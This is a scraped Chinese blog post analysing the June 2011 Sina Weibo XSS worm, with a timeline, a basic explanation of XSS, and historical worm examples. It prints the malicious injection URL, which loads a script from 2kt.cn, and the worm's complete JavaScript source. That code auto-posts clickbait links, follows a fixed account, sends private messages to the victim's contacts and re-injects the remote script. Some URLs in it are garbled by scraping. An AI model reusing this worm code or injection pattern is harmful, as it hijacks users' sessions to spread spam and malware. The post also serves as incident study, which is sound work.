首页 > 代码库 > 新浪微博XSS攻击事件

新浪微博XSS攻击事件

http://blog.csdn.net/terryzero/article/details/6575078 6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博消息和私信,并自动关注一位名为hellosamy的用户。

  事件的经过线索如下:

  • 20:14,开始有大量带V的认证用户中招转发蠕虫
  • 20:30,2kt.cn中的病毒页面无法访问
  • 20:32,新浪微博中hellosamy用户无法访问
  • 21:02,新浪漏洞修补完毕

  新浪微博XSS事件

  在这里,想和大家介绍一下XSS攻击,XSS攻击又叫跨站脚本式攻击,你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。
首先,我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你 运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器 上的程序通话。这就是XSS攻击的最基本思路。

  再说一点,不一定是“记住你的用户名和密码”或是“自动登录”的方法,因为HTTP是无状态 的协 议,所以,几乎所有的网站都会在你的浏览器上设置cookie来记录状态,以便在其多个网页中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗 口运行,也就是说,你在同一个父进程下开的多个页面或窗口里都可以无偿使用你登录状态的。

  当然,你不必过于担心访问别的网站,在别的网站里的js代码会访问你的微博或是网银的登录页面。因为浏览器的安全性让js只能访问自己所在网站的资源。当然,这是浏览器做的检查,所以,浏览器并不一定会做这个检查,这就是为什么IE6是史上最不安全的浏览器,没有之一。只要你不在用IE6,应该没有这些问题。

  XSS攻击有两种方法,
  • 一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
  • 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。

  这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn 短链接服务,将链接指向:

代码:
[xhtml] view plaincopy
  1. http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=http://www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
 
  注意,上面URL链接中的其实就是
代码:
< script src="http://www.2kt.cn/images/t.js"></script>
攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制,所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。
其它

  • 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
  • 史上最著名的XSS攻击是Yahoo Mail 的Yamanner 蠕 虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
  • 为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
  • 关于攻击的代码在这里:06.28_sina_XSS.txt (编码风格还是很不错的)

 

[javascript] view plaincopy
  1. function createXHR(){  
  2.     return window.XMLHttpRequest?  
  3.     new XMLHttpRequest():  
  4.     new ActiveXObject("Microsoft.XMLHTTP");  
  5. }  
  6. function getappkey(url){  
  7.     xmlHttp = createXHR();  
  8.     xmlHttp.open("GET",url,false);  
  9.     xmlHttp.send();  
  10.     result = xmlHttp.responseText;  
  11.     id_arr = ‘‘;  
  12.     id = result.match(/namecard=/"true/" title=/"[^/"]*/g);  
  13.     for(i=0;i<id.length;i++){  
  14.         sum = id[i].toString().split(‘"‘)[3];  
  15.         id_arr += sum + ‘||‘;  
  16.     }  
  17.     return id_arr;  
  18. }  
  19. function random_msg(){  
  20.     link = ‘ http://163.fm/PxZHoxn?id=‘ + new Date().getTime();;  
  21.     var msgs = [  
  22.         ‘郭美美事件的一些未注意到的细节:‘,  
  23.         ‘建党大业中穿帮的地方:‘,  
  24.         ‘让女人心动的100句诗歌:‘,  
  25.         ‘3D肉团团高清普通话版种子:‘,  
  26.         ‘这是传说中的神仙眷侣啊:‘,  
  27.         ‘惊爆!范冰冰艳照真流出了:‘,  
  28.         ‘杨幂被爆多次被潜规则:‘,  
  29.         ‘傻仔拿锤子去抢银行:‘,  
  30.         ‘可以监听别人手机的软件:‘,  
  31.         ‘个税起征点有望提到4000:‘];  
  32.     var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;  
  33.     msg = encodeURIComponent(msg);  
  34.     return msg;  
  35. }  
  36. function post(url,data,sync){  
  37.     xmlHttp = createXHR();  
  38.     xmlHttp.open("POST",url,sync);  
  39.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
  40.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");  
  41.     xmlHttp.send(data);  
  42. }  
  43. function publish(){  
  44.     url = ‘http://weibo.com/mblog/publish.php?rnd=‘ + new Date().getTime();  
  45.     data = ‘content=‘ + random_msg() + ‘&pic=&styleid=2&retcode=‘;  
  46.     post(url,data,true);  
  47. }  
  48. function follow(){  
  49.     url = ‘http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=‘ + new Date().getTime();  
  50.     data = ‘uid=‘ + 2201270010 + ‘&fromuid=‘ + $CONFIG.$uid + ‘&refer_sort=profile&atnId=profile‘;  
  51.     post(url,data,true);  
  52. }  
  53. function message(){  
  54.     url = ‘http://weibo.com/‘ + $CONFIG.$uid + ‘/follow‘;  
  55.     ids = getappkey(url);  
  56.     id = ids.split(‘||‘);  
  57.     for(i=0;i<id.length - 1 & i<5;i++){  
  58.         msgurl = ‘http://weibo.com/message/addmsg.php?rnd=‘ + new Date().getTime();  
  59.         msg = random_msg();  
  60.         msg = encodeURIComponent(msg);  
  61.         user = encodeURIComponent(encodeURIComponent(id[i]));  
  62.         data = ‘content=‘ + msg + ‘&name=‘ + user + ‘&retcode=‘;  
  63.         post(msgurl,data,false);  
  64.     }  
  65. }  
  66. function main(){  
  67.     try{  
  68.         publish();  
  69.     }  
  70.     catch(e){}  
  71.     try{  
  72.         follow();  
  73.     }  
  74.     catch(e){}  
  75.     try{  
  76.         message();  
  77.     }  
  78.     catch(e){}  
  79. }  
  80. try{  
  81.    x="g=document.createElement(‘script‘);g.src=http://www.mamicode.com/‘http://www.2kt.cn/images/t.js‘;document.body.appendChild(g)";window.opener.eval(x);  
  82. }  
  83. catch(e){}  
  84. main();  
  85. var t=setTimeout(‘location="http://weibo.com/pub/topic";‘,5000);  
   

新浪微博XSS攻击事件